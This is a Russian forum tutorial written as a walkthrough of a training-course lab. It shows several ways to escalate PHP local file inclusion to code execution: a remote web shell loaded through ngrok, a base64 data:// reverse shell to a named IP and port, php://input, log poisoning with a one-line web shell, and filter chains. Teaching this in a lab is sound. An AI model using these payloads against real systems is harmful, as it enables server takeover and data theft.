Статья PHP уязвимости

prew.jpg


Всем привет!

Продолжаю цикл статей в помощь студентам курса WAPT. Здесь на самых простых тасках мы раскрываем некоторые секреты, которые могут помочь при решении более сложных задач, да и так, для общего развития пригодится.
Когда я писал отзыв о прохождении курса (КАК Я ПРОХОЖУ КУРС WAPT (КВЕСТ В РЕАЛЬНОМ ВРЕМЕНИ) - ЧАСТЬ 3), то считаю, что не объективно подошел к ее оценке и отнес к недостаточно сложным. На самом деле, тема довольно трудная и требует определенных знаний в языке PHP. Со временем эта оценка у меня поменялась и сейчас я хочу, в некотором роде, вернуть долг.
Уязвимость PHP injection – одна из распространенных скриптовых уязвимостей, которая встречается в приложениях, написанных на PHP языке. Заключается в исполнении постороннего кода на стороне сервера. Возникает уязвимость из-за недостаточной фильтрации входных данных от пользователей, в результате чего на сервера могут передаться и исполниться внешние или системные команды, которые приведут к утечке информации или полному контролю над сервером.
Сегодня для растерзания мы возьмем первую задачу из курса WAPT. Мы имеем сайт, где присутствует уязвимый параметр.
1700655694242.png
1700655726266.png

Очевидно, что здесь подгрузка страниц осуществляется через параметр page. Если программист накосячит, то могут быть проблемы с безопасностью сайта и сервера в целом. Давайте попробуем прочитать через этот параметр один из системных файлов, например, /etc/passwd.
1700655782217.png

Так и есть. Приложение позволяет читать нам системные файлы, хорошо хотя бы не все.
1700655867868.png

В данном случае присутствует уязвимость LFI (Local File Inclusion), что позволяет нам читать локальные файлы на сервере.
В принципе, пока ничего страшного, ну прочитаем мы пару общедоступных файлов, ну узнаем мы «суперсекретную» информацию, что нам это даст?
Если вы начнете гуглить, то натолкнетесь на огромное количество ресурсов, где будет сказано, как из LFI получить RCE (Remote Code Execution), то есть удаленное выполнение кода. А вот это уже страшно.
Предлагаю посмотреть, сколькими способами мы можем это сделать на примере этого конкретного таска.​

Через RFI

Очень часто там, где присутствует LFI может присутствовать и RFI (Remote File Inclusion), то есть чтение удаленных файлов. Если на целевой системе мы не можем открыть какой-нибудь полезный файл с вредоносным кодом, то попробуем подгрузить свой, например, веб-шелл или реверс-шелл. Но для начала нам нужно понять, что мы можем это сделать. Как? Давайте откроем страницу какого-либо стороннего сайта, например,
1700655969398.png

У нас открылась стартовая страница Яндекса. Значит здесь присутствует RFI, которую мы сейчас с вами проэксплуатируем.
Для начала создадим директорию, в которую будем кидать все, что нам пригодится в дальнейшем для загрузки на удаленные сервера, в том числе и веб-шеллы. И запустим в этой директории простой веб-сервер на Python.
1700656037404.png

А для того, чтобы разместить этот сервер в Интернет, воспользуемся сервисом Ngrok. В одной из следующих статей я подробнее пройдусь по этому сервису, а сейчас мы воспользуемся им только для пары случаев. Итак, запускаем команду:

ngrok http 1234
1700656119220.png

Как видим, ngrok будет перебрасывать запросы из Интернета на порт 1234 нашего локалхоста, где у нас поднят веб-сервер, со всей нужной нам приблудой. Проверим это, введя в адресной строке браузера полученный адрес ngrok.
1700656169026.png

Все отлично работает. Теперь нам осталось через уязвимость RFI подгрузить веб-шелл, например, wso.php и он у нас открывается.
1700656219248.png

Остается только ввести пароль, который нужно посмотреть в его исходном коде и можно пользоваться.

1700657794072.png


Доступ к файловой системе мы получили.

Что же делать, если мы можем читать локальные файлы, а удаленные не можем? Гуглим LFI to RCE. Найдется множество способов. Пойдем по порядку.​

Через враппер data

PHP wrappers - это специальные протоколы, которые позволяют работать с файловыми функциями PHP, такими как fopen(), copy(), file_exists() и filesize(), используя различные URL-стили. Например, вы можете открыть файл на удаленном сервере с помощью протокола http или ftp. Врапперы могут быть очень полезны для пентеста веб-приложений, которые уязвимы для различных типов атак, таких как SQL-инъекции, XSS, RCE и другие.
Враппер data:// используется для встраивания данных в URL с помощью кодировки base64 или plain text. Прежде чем перейдем к использованию этого способа, проведем некоторую подготовительную работу.
Запустим команду ngrok tcp 4444, для создания туннеля. Ngrok будет принимать из сети соединение и отправлять его на порт 4444.
1700657969254.png
Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
Теперь подготовим однострочный php реверс-шелл: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"); ?>
Получаем IP адрес нашего ngrok, путем пингования выданного нам адреса без tcp://
1700658054113.png

Вставляем IP и порт в наш реверс-шелл: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/18.158.249.75/12218 0>&1'"); ?>
Закодируем его в base64: PD9waHAgZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE4LjE1OC4yNDkuNzUvMTIyMTggMD4mMSciKTsgPz4=
А в уязвимый параметр в адресную строку сайта вставляем следующую нагрузку с враппером data:
data:text/html;base64,PD9waHAgZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE4LjE1OC4yNDkuNzUvMTIyMTggMD4mMSciKTsgPz4=
1700658170679.png

Если сейчас посмотрим в терминал, то увидим, что у нас открылось обратное соединение.
1700658223392.png


Через враппер
php:// для потока input

Перехватываем запрос в Burp Suite и отправляем его в Repiter. В уязвимый параметр вставляем php://input, а в тело запроса добавляем реверс-шелл из предыдущего примера уже без всякого кодирования:
1700658284278.png

Отправляем запрос и получаем обратное соединение.
1700658327505.png


Через логи

Так как мы можем читать системные файлы, то мы можем читать и логи веб-сервера, на котором крутится сайт. Для начала нужно определить, какой веб-сервер запущен на целевом сервере. Воспользуемся Nmap.
1700658440404.png

У нас nginx. Один из логов находится по следующему пути /var/log/nginx/access.log. Открываем, а там…

1700658965671.png

Да это полная жесть. Как тут разобраться и не сломать себе мозг? Пробуем. Для начала, перехватываем запрос и отправляем его в Repiter. В User-Agent вместо того, что там написано вставляем однострочный веб-шелл <?php system($_GET[cmd]);?> и отправляем запрос.

1700659037634.png

На следующем шаге к файлу access.log добавляем параметр &cmd= и команду, например, ls –la /
1700659133375.png

И снова получили возможность запуска системных команд.
Через цепочку фильтров PHP

Ну и последний вариант, который мы сегодня рассмотрим, это использование цепочек фильтров. На просторах ГуглНета надыбал некую тузлу, которая называется php_filter_chain_generator, написанную на Python. Работает она так: в терминале запускаем команду: python3 php_filter_chain_generator.py --chain "<?php system('ls -la /');?>", которая генерирует цепочку фильтров PHP
1700659256468.png

Нужно просто скопировать весь вывод и вставить его в уязвимый параметр, и мы получим выполнение той команды, которую указали во входном параметре функции system.
1700659295440.png

Вариант конечно мутный, но имеет право на жизнь, если предыдущие не сработают. На этом, пожалуй, остановимся. Надеюсь что-то из рассмотренного нами вам поможет при решении практических задач в ходе прохождения курса WAPT.​

Спасибо за внимание. До новых встреч!
 

ALT1RE

Green Team
11.10.2020
51
67
BIT
43
Отличная статья! Но некоторые скрины замылены.
 

Averr

New member
24.09.2023
1
0
BIT
9
Благодарю за статью, как раз необходима была информация по этой теме)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!